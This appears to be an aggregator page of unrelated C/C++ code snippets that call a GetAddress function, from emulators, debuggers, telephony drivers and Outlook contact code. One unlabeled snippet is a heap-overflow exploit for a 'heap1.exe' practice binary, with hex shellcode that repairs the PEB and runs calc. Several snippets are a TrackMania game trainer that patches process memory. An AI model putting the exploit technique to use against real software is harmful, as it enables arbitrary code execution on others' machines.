示例#1
0
void ProxyClient::ParseHLTV(NetPacket *packet)
{
	unsigned char cmd = packet->data.ReadByte();
	if (cmd != HLTV_STATUS) {
		m_System->Printf("WARNING! unknown HLTV client msg %i\n", cmd);
		return;
	}

	if (m_ClientType != TYPE_PROXY) {
		m_System->DPrintf("WARNING! HLTV status data from spectator client\n");
		packet->data.SkipBytes(12);
		return;
	}

	m_Proxy->ParseStatusReport(GetAddress(), &packet->data);
}
示例#2
0
bool MemoryExpression::Read(CpuContext *pCpuCtxt, MemoryContext* pMemCtxt, VariableContext* pVarCtxt, u64& rValue, bool SignExtend) const
{
  Address DstAddr;
  if (GetAddress(pCpuCtxt, pMemCtxt, pVarCtxt, DstAddr) == false)
    return false;

  u64 LinAddr = 0;
  if (pCpuCtxt->Translate(DstAddr, LinAddr) == false)
    LinAddr = DstAddr.GetOffset();

  if (m_Dereference == true)
    return pMemCtxt->ReadMemory(LinAddr, &rValue, m_AccessSizeInBit / 8);

  rValue = LinAddr;
  return true;
}
示例#3
0
void CTM2Hack::NoPlatformCounterIncrease(void)
{
	static CNop Fix;
	Fix.Initialize(this, GetAddress("NoPlatCount"), 1);

	if (!Fix.IsEnabled())
	{
		Fix.Enable();
		SoundUpdate(SOUND_ON);
	}
	else
	{
		Fix.Disable();
		SoundUpdate(SOUND_OFF);
	}
}
示例#4
0
void CTM2Hack::NoFreeDrive(void)
{
	static CNop Fix;
	Fix.Initialize(this, GetAddress("NoFreeDrive"), 10);

	if (!Fix.IsEnabled())
	{
		Fix.Enable();
		SoundUpdate(SOUND_ON);
	}
	else
	{
		Fix.Disable();
		SoundUpdate(SOUND_OFF);
	}
}
示例#5
0
void
IT_GLOBALENTRYHANDLE (ENV *envp,LONGPROC f)
{
    DWORD retcode,dwSize;
    UINT uSel,uIndex;
    LPBYTE lpData;
    GLOBALENTRY ge;
    LPMODULEINFO lpModInfo;
    extern MODULEINFO *lpModuleTable[];

    lpData = (LPBYTE)GetAddress(GETWORD(SP+8), GETWORD(SP+6));
    dwSize = GETDWORD(lpData);
    if (dwSize != (3*DWORD_86 + HANDLE_86 + 3*WORD_86 + INT_86 +
		HANDLE_86 + 2*WORD_86 + 2*DWORD_86))
	retcode = 0;
    else {
	ge.dwSize = sizeof(GLOBALENTRY);
	uSel = (UINT)GETWORD(SP+4);
	if ((retcode = (DWORD)GlobalEntryHandle(&ge,GetSelectorHandle(uSel)))) {
	    PUTDWORD(lpData+4,ge.dwAddress);
	    PUTDWORD(lpData+8,ge.dwBlockSize);
	    PUTWORD(lpData+12,ge.hBlock);
	    PUTWORD(lpData+14,ge.wcLock);
	    PUTWORD(lpData+16,ge.wcPageLock);
	    PUTWORD(lpData+18,ge.wFlags);
	    PUTWORD(lpData+20,ge.wHeapPresent);
#ifdef	LATER
	    PUTWORD(lpData+22,ge.hOwner);
#else
	    /* this is a kludge to run DELPHI */
	    if (!(uIndex = (UINT)GetModuleIndex(uSel)))
		/* this is an index for KERNEL (maybe!) */
		uIndex = 1;
	    lpModInfo = lpModuleTable[uIndex];
	    PUTWORD(lpData+22,lpModInfo->ObjHead.hObj);
#endif
	    PUTWORD(lpData+24,ge.wType);
	    PUTWORD(lpData+26,ge.wData);
	    PUTDWORD(lpData+28,ge.dwNext);
	    PUTDWORD(lpData+32,ge.dwNextAlt);
	}
    }

    envp->reg.sp += LP_86 + HANDLE_86 + RET_86;
    envp->reg.ax = LOWORD(retcode);
    envp->reg.dx = HIWORD(retcode);
}
     int main()
     {
            unsigned char buffer[300]="";
            unsigned char heap[8]="";
            unsigned char pebf[8]="";
            unsigned char shellcode[200]="";
            unsigned int address_of_system = 0;
            unsigned int address_of_RtlEnterCriticalSection = 0;
            unsigned char tmp[8]="";
            unsigned int cnt = 0;

            printf("Getting addresses...\n");
            address_of_system = GetAddress("msvcrt.dll","system");
            address_of_RtlEnterCriticalSection = GetAd-dress("ntdll.dll","RtlEnterCriticalSection");
            if(address_of_system == 0 || 	ad-dress_of_RtlEnterCriticalSection == 0)
                    return printf("Failed to get addresses\n");
            printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);
            printf("Address of ntdll.RtlEnterCriticalSection\t= %.8X\n",address_of_RtlEnterCriticalSection);
            strcpy(buffer,"heap1 ");

            // Shellcode - repairs the PEB then calls system("calc");
     strcat(buffer,"\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB9");
            fixupaddresses(tmp,address_of_RtlEnterCriticalSection);
            strcat(buffer,tmp);
          strcat(buffer,"\x89\x48\x20\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
            fixupaddresses(tmp,address_of_system);
            strcat(buffer,tmp);
                    strcat(buffer,"\xFF\xD1");

            // Padding
            while(cnt < 58)
            {
                    strcat(buffer,"DDDD");
                    cnt ++;
            }

            // Pointer to RtlEnterCriticalSection pointer - 4 in PEB
            strcat(buffer,"\x1C\xF0\xFD\x7f");

            // Pointer to heap and thus shellcode
            strcat(buffer,"\x88\x06\x35");

            strcat(buffer,"\"");
            printf("\nExecuting heap1.exe... calc should open.\n");
            system(buffer);
            return 0;
     }
示例#7
0
void CTM2Hack::UnlockNadeos(void)
{
	static CCodeChange Fix;
	BYTE FIX1[] = {0xEB};
	Fix.Initialize(this, GetAddress("NadeoUnlock"), FIX1, sizeof(FIX1));

	if (!Fix.IsEnabled())
	{
		Fix.Enable();
		SoundUpdate(SOUND_ON);
	}
	else
	{
		Fix.Disable();
		SoundUpdate(SOUND_OFF);
	}
}
void cTrackManiaHack::CheckVersion(void)
{
	if (!this->m_hGameHandle)
	{
		MessageBox(NULL, "Start Trackmania first to do a version check", "ERROR - Invalid Game Handle", MB_ICONERROR);
		return;
	}
	char gameversion[8];
	DWORD gameVersionAddress = 0;
	ReadAddress(GetAddress("Version"), &gameVersionAddress, sizeof(DWORD));
	ReadAddress(gameVersionAddress, gameversion, sizeof(gameversion));

	char versionInfo[255];
	sprintf_s(versionInfo, sizeof(versionInfo), "Supported Version: %s\nGame Version: %s\n-----------\nIf the version differs you may have luck. The Trainer does pattern scanning so it should find the new (or older) addresses as well", GAMEVERSION, gameversion);

	MessageBox(NULL, versionInfo, "Version Check", NULL);
}
示例#9
0
		void MainScreenHelper::SetServerFavorite(std::string ip, bool favorite) {
			SPADES_MARK_FUNCTION();
			if (favorite) {
				favorites.insert(ip);
			} else {
				favorites.erase(ip);
			}

			if (result && !result->list.empty()) {
				auto entry = std::find_if(
				  result->list.begin(), result->list.end(),
				  [&](MainScreenServerItem *entry) { return entry->GetAddress() == ip; });
				if (entry != result->list.end()) {
					(*entry)->SetFavorite(favorite);
				}
			}
		}
示例#10
0
    bool SimulatorTransport::InternalSendPacket( const Address & to, const void * packetData, int packetBytes )
    {
        assert( m_networkSimulator );

        Allocator & allocator = m_networkSimulator->GetAllocator();

        uint8_t * packetDataCopy = (uint8_t*) allocator.Allocate( packetBytes );

        if ( !packetDataCopy )
            return false;

        memcpy( packetDataCopy, packetData, packetBytes );

        m_networkSimulator->SendPacket( GetAddress(), to, packetDataCopy, packetBytes );

        return true;
    }
示例#11
0
// updates the outlook display address; call this after changing address fields
bool MAPIContact::UpdateDisplayAddress(ContactAddress::AddressType nType) {
#ifdef _WIN32_WCE
	return false;
#else
	ContactAddress address;
	if(!GetAddress(address, nType)) 
		return false;

	String strDisplayAddress;
	strDisplayAddress = Format(t_("%s\r\n%s  %s  %s\r\n%s"), address.m_strStreet,
											address.m_strCity,address.m_strStateOrProvince,
											address.m_strPostalCode,address.m_strCountry);

	ULONG ulProperty = OUTLOOK_DISPLAY_ADDRESS_HOME+(int)nType;
	return SetOutlookProperty(OUTLOOK_DATA1,ulProperty, strDisplayAddress);
#endif
}
示例#12
0
void GLGSRender::Flip()
{
	if(m_read_buffer)
	{
		gcmBuffer* buffers = (gcmBuffer*)Memory.GetMemFromAddr(m_gcm_buffers_addr);
		u32 width = re(buffers[m_gcm_current_buffer].width);
		u32 height = re(buffers[m_gcm_current_buffer].height);
		u32 addr = GetAddress(re(buffers[m_gcm_current_buffer].offset), CELL_GCM_LOCATION_LOCAL);

		if(Memory.IsGoodAddr(addr))
		{
			//TODO
			//buffer rotating
			static Array<u8> pixels;
			pixels.SetCount(width * height * 4);
			u8* src = (u8*)Memory.VirtualToRealAddr(addr);

			for(u32 y=0; y<height; ++y)
			{
				memcpy(pixels + (height - y - 1) * width * 4, src + y * width * 4, width * 4);
			}

			glDrawPixels(width, height, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8, pixels.GetPtr());
		}
	}
	else if(m_fbo.IsCreated())
	{
		m_fbo.Bind(GL_READ_FRAMEBUFFER);
		GLfbo::Bind(GL_DRAW_FRAMEBUFFER, 0);
		GLfbo::Blit(
			m_surface_clip_x, m_surface_clip_y, m_surface_clip_x + m_surface_clip_w, m_surface_clip_y + m_surface_clip_h,
			m_surface_clip_x, m_surface_clip_y, m_surface_clip_x + m_surface_clip_w, m_surface_clip_y + m_surface_clip_h,
			GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT, GL_NEAREST);
		m_fbo.Bind();
	}

	for(uint i=0; i<m_post_draw_objs.GetCount(); ++i)
	{
		m_post_draw_objs[i].Draw();
	}

	m_frame->Flip();

	if(m_fbo.IsCreated())
		m_fbo.Bind();
}
示例#13
0
void EVEClientSession::FastQueuePacket( PyPacket** p )
{
    if(p == NULL || *p == NULL)
        return;

    PyRep* r = (*p)->Encode();
    // maybe change PyPacket to a object with a reference..
    SafeDelete( *p );
    if( r == NULL )
    {
        sLog.Error("Network", "%s: Failed to encode a Fast queue packet???", GetAddress().c_str());
        return;
    }

    mNet->QueueRep( r );
    PyDecRef( r );
}
示例#14
0
// Sets the PR_POSTAL_ADDRESS text and checks the appropriate outlook checkbox by setting the index
bool MAPIContact::SetPostalAddress(ContactAddress::AddressType nType) {
#ifdef _WIN32_WCE
	return false;
#else
	ContactAddress address;
	if(!GetAddress(address, nType)) 
		return false;

	String strPostalAddress;
	strPostalAddress = Format(t_("%s\r\n%s  %s  %s\r\n%s"),address.m_strStreet, address.m_strCity,
				address.m_strStateOrProvince,address.m_strPostalCode,address.m_strCountry);
	if(!SetPropertyString(PR_POSTAL_ADDRESS, strPostalAddress)) 
		return false;

	return SetOutlookProperty(OUTLOOK_DATA1, OUTLOOK_POSTAL_ADDRESS, (int)nType+1);
#endif
}
示例#15
0
文件: Line.cpp 项目: junction/jn-tapi
/*****************************************************************************
** Procedure:  CJTLine::read
**
** Arguments:  'istm' - Input stream
**
** Returns:    pointer to istm
**
** Description:  This function is called to serialize data in from the
**               registry.  The line object has already been completely
**               initialized by the TSP++ library
**
*****************************************************************************/
TStream& CJTLine::read(TStream& istm)
{
    // Adjust the line device capabilities.  We don't support any of the
    // line device capability flags, and don't need dialing parameters since the
    // switch doesn't allow them to be adjusted.
    LPLINEDEVCAPS lpCaps = GetLineDevCaps();
    lpCaps->dwDevCapFlags = 0;
	lpCaps->dwUUICallInfoSize = 1024;
	lpCaps->dwLineStates &= ~(LINEDEVSTATE_RINGING | LINEDEVSTATE_MSGWAITON | LINEDEVSTATE_MSGWAITOFF | 
				LINEDEVSTATE_NUMCOMPLETIONS | LINEDEVSTATE_TERMINALS | LINEDEVSTATE_ROAMMODE | 
				LINEDEVSTATE_BATTERY | LINEDEVSTATE_SIGNAL | LINEDEVSTATE_LOCK | LINEDEVSTATE_COMPLCANCEL |
				LINEDEVSTATE_MAINTENANCE);

	// Adjust our address information
	CTSPIAddressInfo* pAddress = GetAddress(0);
	_TSP_ASSERTE (pAddress != NULL);

	LINEADDRESSCAPS* lpACaps = pAddress->GetAddressCaps();
	lpACaps->dwMaxCallDataSize = MAXCALLDATA_SIZE;
	lpACaps->dwCallerIDFlags = 
	lpACaps->dwConnectedIDFlags = 
	lpACaps->dwRedirectionIDFlags =
	lpACaps->dwRedirectingIDFlags =
	lpACaps->dwCalledIDFlags =
	lpACaps->dwCalledIDFlags & ~LINECALLPARTYID_PARTIAL;
	lpACaps->dwCallStates &= ~(LINECALLSTATE_SPECIALINFO | LINECALLSTATE_RINGBACK);
	lpACaps->dwDialToneModes &= ~LINEDIALTONEMODE_SPECIAL;
	lpACaps->dwDisconnectModes &= ~LINEDISCONNECTMODE_REJECT;

	// Adjust the various line properties based on the type of line this is.
	if (GetLineType() == Station)
		InitializeStation();
	else if (GetLineType() == RoutePoint)
		InitializeRoutePoint();
	else if (GetLineType() == Queue)
		InitializeQueue();
	else if (GetLineType() == PredictiveDialer)
		InitializeDialer();
	else if (GetLineType() == VRU)
		InitializeVRU();

	// We didn't read any extra information from the stream.
	return CTSPILineConnection::read(istm);

}// CJTLine::read
示例#16
0
void CTM2Hack::NoGravity(bool playSound)
{
	static CNop Fix;
	Fix.Initialize(this, GetAddress("NoGravity"), 5);

	if (!Fix.IsEnabled())
	{
		Fix.Enable();
		if (playSound)
			SoundUpdate(SOUND_ON);
	}
	else
	{
		Fix.Disable();
		if (playSound)
			SoundUpdate(SOUND_OFF);
	}
}
示例#17
0
/*****************************************************************************
** Procedure:  CJTLine::OnAgentGroupChange
**
** Arguments: 'dwPrimary' - Primary agent group
**            'dwSecondary' - Secondary agent group
**
** Returns:    void
**
** Description:  This function changes our agent groups to reflect the
**               current reported state of the station
**
*****************************************************************************/
void CJTLine::OnAgentGroupChange(LPCTSTR pszAgentID, DWORD dwPrimary, DWORD dwSecondary)
{
	// Remove any existing agent information from the address
	CTSPIAddressInfo* pAddr = GetAddress(0);
	pAddr->RemoveAllAgentGroups();

	// Add the two agent groups if they exist.
	pAddr->AddAgentGroup(0, 0, 0, 0, pszAgentID);	// AgentID
	pAddr->AddAgentGroup(0, 0, 0, 0, NULL);			// Password
	pAddr->AddAgentGroup(dwPrimary);				// Primary group
	pAddr->AddAgentGroup(dwSecondary);				// Secondary group

	// Notify TAPI that the agent groups have changed. This isn't done
	// automatically by TSP++ for the AddCurrentAgentGroup() since it may
	// be called many times and we don't want to send more than one event.
	pAddr->OnAgentStatusChanged(LINEAGENTSTATUS_GROUP);

}// CJTLine::OnAgentGroupChange
示例#18
0
//--------------------------------------------------------------------------
int idaapi dosbox_debmod_t::dbg_start_process(
  const char *path,
  const char *args,
  const char * /*startdir*/,
  int /* flags */,
  const char * /*input_path*/,
  uint32 /* input_file_crc32 */)
{

  entry_point = (ea_t)GetAddress(SegValue(cs), reg_eip);
  printf("entry_point = %x\n", entry_point);
  app_base = find_app_base();
  printf("app_base = %x\n", app_base);
  stack = SegValue(ss);
printf("name %s \n",path);
  create_process_start_event(path);
  return 1;
}
示例#19
0
文件: sos.cpp 项目: A-And/coreclr
    void Object::CalculateSizeAndPointers() const
    {
        TADDR mt = GetMT();
        MethodTableInfo* info = g_special_mtCache.Lookup((DWORD_PTR)mt);
        if (!info->IsInitialized())	
        {
            // this is the first time we see this method table, so we need to get the information
            // from the target
            FillMTData();

            info->BaseSize = mMTData->BaseSize;
            info->ComponentSize = mMTData->ComponentSize;
            info->bContainsPointers = mMTData->bContainsPointers;

            // The following request doesn't work on older runtimes. For those, the
            // objects would just look like non-collectible, which is acceptable.
            DacpMethodTableCollectibleData mtcd;
            if (SUCCEEDED(mtcd.Request(g_sos, GetMT())))
            {
                info->bCollectible = mtcd.bCollectible;
                info->LoaderAllocatorObjectHandle = TO_TADDR(mtcd.LoaderAllocatorObjectHandle);
            }
        }
        
        if (mSize == (size_t)~0)
        {
            mSize = info->BaseSize;
            if (info->ComponentSize)
            {
                // this is an array, so the size has to include the size of the components. We read the number
                // of components from the target and multiply by the component size to get the size.
                mSize += info->ComponentSize * GetNumComponents(GetAddress());
            }

            // On x64 we do an optimization to save 4 bytes in almost every string we create.
        #ifdef _WIN64
            // Pad to min object size if necessary
            if (mSize < min_obj_size)
                mSize = min_obj_size;
        #endif // _WIN64
        }

        mPointers = info->bContainsPointers != FALSE;
    }
示例#20
0
HRESULT WINAPI VARIANT_Eval( DWORD addr, DEBUGHELPER *pH, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
	VARIANT var;
	DWORDLONG llAddr =GetAddress(pH,addr);
	if(!ReadMem(pH, llAddr, &var) ) return E_FAIL;

	std::string res;
	if(! variant_as_string(pH, var, &res ) ) return E_FAIL;

	std::ostringstream os;
	if(( var.vt & VT_ARRAY ) ==0) // arrays have their own type display.
		os << vt_as_string(var.vt) << ' ';
	os << res;

	strncpy(pResult, os.str().c_str(),  maxlen);
	pResult[maxlen-1] ='\0';
	return S_OK;

}
示例#21
0
void GLGSRender::WriteColourBufferD()
{
	if(!m_set_context_dma_color_d)
	{
		return;
	}

	u32 address = GetAddress(m_surface_offset_d, m_context_dma_color_d - 0xfeed0000);
	if(!Memory.IsGoodAddr(address))
	{
		ConLog.Warning("Bad colour buffer d address: address=0x%x, offset=0x%x, dma=0x%x", address, m_surface_offset_d, m_context_dma_color_d);
		return;
	}

	glReadBuffer(GL_COLOR_ATTACHMENT3);
	checkForGlError("glReadBuffer(GL_COLOR_ATTACHMENT3)");
	glReadPixels(0, 0, RSXThread::m_width, RSXThread::m_height, GL_RGBA, GL_UNSIGNED_INT_8_8_8_8, &Memory[address]);
	checkForGlError("glReadPixels(GL_RGBA, GL_UNSIGNED_INT_8_8_8_8)");
}
示例#22
0
//--------------------------------------------------------------------------
int idaapi dosbox_debmod_t::dbg_set_resume_mode(thid_t tid, resume_mode_t resmod)
{
  if ( resmod != RESMOD_INTO )
    return 0; // not supported

  stepping[tid] = true;
  dosbox_step_ret = DEBUG_RemoteStep(); //fixme step return.

  debug_event_t ev;
    ev.eid = STEP;
    ev.pid = NO_PROCESS;
    ev.tid = NO_PROCESS;
    ev.ea =(ea_t)GetAddress(SegValue(cs),reg_ip);
    ev.handled = false;

  events.enqueue(ev, IN_BACK);
  
  return 1;
}
示例#23
0
HRESULT WINAPI OLEDateTimeSpan_Eval( DWORD dwAddress, DEBUGHELPER *pHelper, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
	DWORDLONG address = GetAddress( pHelper, dwAddress);
	long status;
	if( !ReadMem( pHelper, address+sizeof(long), &status) )
		return E_FAIL;

	switch (status)
	{
		case 1:
			strcpy(pResult, "invalid");
			return S_OK;
		case 2:
			strcpy(pResult, "null");
			return S_OK;
	}
	// Same as Period.
	return Period_Evaluate(dwAddress, pHelper, nBase, bUniStrings, pResult, maxlen, reserved);
}
示例#24
0
HRESULT WINAPI string_Eval( DWORD dwAddress, DEBUGHELPER *pHelper, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
	DWORDLONG address = GetAddress( pHelper, dwAddress);

	long begin,end;
	if (!ReadMem( pHelper, address, &begin) || !ReadMem( pHelper, address + sizeof(long), &end) ) return E_FAIL;

	long size  =(end-begin);
	if ( begin == 0 )
	{
		strcpy(pResult, "@");
		return S_OK;
	}
	if( size == 0)
	{
		strcpy(pResult, "\"\"");
		return S_OK;
	}

	unsigned char *eval = new unsigned char[size+2];
	if (!ReadMem(pHelper, begin, size, eval) )
	{
		delete [] eval;
		return E_FAIL;
	}
	char *chbegin = reinterpret_cast<char *>(eval);
	char *chend = reinterpret_cast<char *>(eval + size);

	std::string res;
	if (!string_as_string( chbegin, chend, &res) )
	{
		delete [] eval;
		return E_FAIL;
	}
	delete [] eval;
	res.insert(res.begin(), '\"');
	res += '\"';
	strncpy(pResult,res.c_str(),  maxlen);
	pResult[maxlen-1] ='\0';

	return S_OK;
}
  void BufferEdgeListener::OnStart()
  {
    EdgeListener::OnStart();

    const BufferAddress addr = static_cast<const BufferAddress &>(GetAddress());
    int id = addr.GetId();
    if(id == 0) {
      while(_el_map.contains(id = Random::GetInstance().GetInt(1)));
      SetAddress(BufferAddress(id));
    }

    if(_el_map.contains(id)) {
      qWarning() << "Attempting to create two BufferEdgeListeners with the same" <<
        " address: " << addr.ToString();
      return;
    }

    _valid = true;
    _el_map[id] = this;
  }
示例#26
0
文件: sos.cpp 项目: A-And/coreclr
    bool Object::TryGetHeader(ULONG &outHeader) const
    {
        struct ObjectHeader
        {
    #ifdef _WIN64
            ULONG _alignpad;
    #endif
            ULONG SyncBlockValue;      // the Index and the Bits
        };

        ObjectHeader header;

        if (SUCCEEDED(rvCache->Read(TO_TADDR(GetAddress() - sizeof(ObjectHeader)), &header, sizeof(ObjectHeader), NULL)))
        {
            outHeader = header.SyncBlockValue;
            return true;
        }

        return false;
    }
示例#27
0
void NetworkTester::Start(Message & message) {

	sum = 0;
	messages = 0;
	controller = 0;

	PrintAddress();
	cout << "starting !" << endl;

	int address = GetAddress();

	PrintAddress();
	cout << "Sending SAY_HELLO message to " << address << endl;

	Message dummyMessage;
	dummyMessage.SetTag(SAY_HELLO);

	Send(address, dummyMessage);

}
示例#28
0
HRESULT WINAPI DateOnly_Evaluate( DWORD dwAddress, DEBUGHELPER *pHelper, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
	long DateOnly;
	DWORDLONG address = GetAddress( pHelper, dwAddress);

	if( !ReadMem( pHelper, address, &DateOnly) )
		return E_FAIL;

	if(DateOnly == 0)
	{
		strcpy(pResult, "zero");
		return S_OK;
	}
	if( DateOnly == 2147483647)
	{
		strcpy(pResult, "invalid");
		return S_OK;
	}
	if( DateOnly == 2147483648)
	{
		strcpy(pResult, "null");
		return S_OK;
	}
	int tm_year,  tm_mon, tm_mday;
	if (!date_from_absdate_(DateOnly, &tm_year, &tm_mon, &tm_mday))
	{
		strcpy(pResult, "n/a");
		return S_OK;
	}
	int tm_wday = (int)((DateOnly + 1) % 7L);
	static const char *wday[]={"Su", "Mo","Tu","We","Th","Fr","Sa"};

	std::ostringstream os;
	os << tm_year << "." << tm_mon << "." << tm_mday << " " << wday[tm_wday];

	strncpy(pResult, os.str().c_str(),  maxlen);
	pResult[maxlen-1] ='\0';

	return S_OK;
	
}
示例#29
0
bool OdbcCommand::BindParameters()
{
	for (auto itr = m_params.begin(); itr != m_params.end(); itr++)
	{
		auto param = itr->second;

		if (!SQL_SUCCEEDED(SQLBindParameter(m_hStmt, itr->first + 1, param->GetParameterType(), 
			param->GetCDataType(), param->GetDataType(), param->GetDataTypeSize(), 0, 
			param->GetAddress(), param->GetDataTypeSize(), param->GetCBValue())))
		{
			if (m_odbcConnection != NULL)
				m_szError = m_odbcConnection->ReportSQLError(SQL_HANDLE_STMT, m_hStmt, _T("SQLBindParameter"), _T("Failed to bind parameter."));
			else
				m_szError = OdbcConnection::GetSQLError(SQL_HANDLE_STMT, m_hStmt);

			Close();
			return false;
		}
	}
	return true;
}
示例#30
0
//--------------------------------------------------------------------------
int idaapi dosbox_debmod_t::dbg_prepare_to_pause_process(void)
{
  debug_event_t ev;
 
  ev.eid = NO_EVENT;
  ev.pid = NO_PROCESS;
  ev.tid = NO_PROCESS;
  ev.bpt.hea = BADADDR; //addr; //BADADDR; //r_debug.base - addr; //BADADDR; //addr;//r_debug.base - addr;
  ev.bpt.kea = BADADDR;//(ea_t)reg_eip;
  ev.ea = (ea_t)GetAddress(SegValue(cs), reg_eip);
  ev.handled = true;
  ev.exc.code = 0;
  ev.exc.can_cont = true;
  ev.exc.ea = BADADDR;

  events.enqueue(ev, IN_BACK);

  idados_stopped();

  return 1; //trk.suspend_thread(pi.pid, pi.tid);
}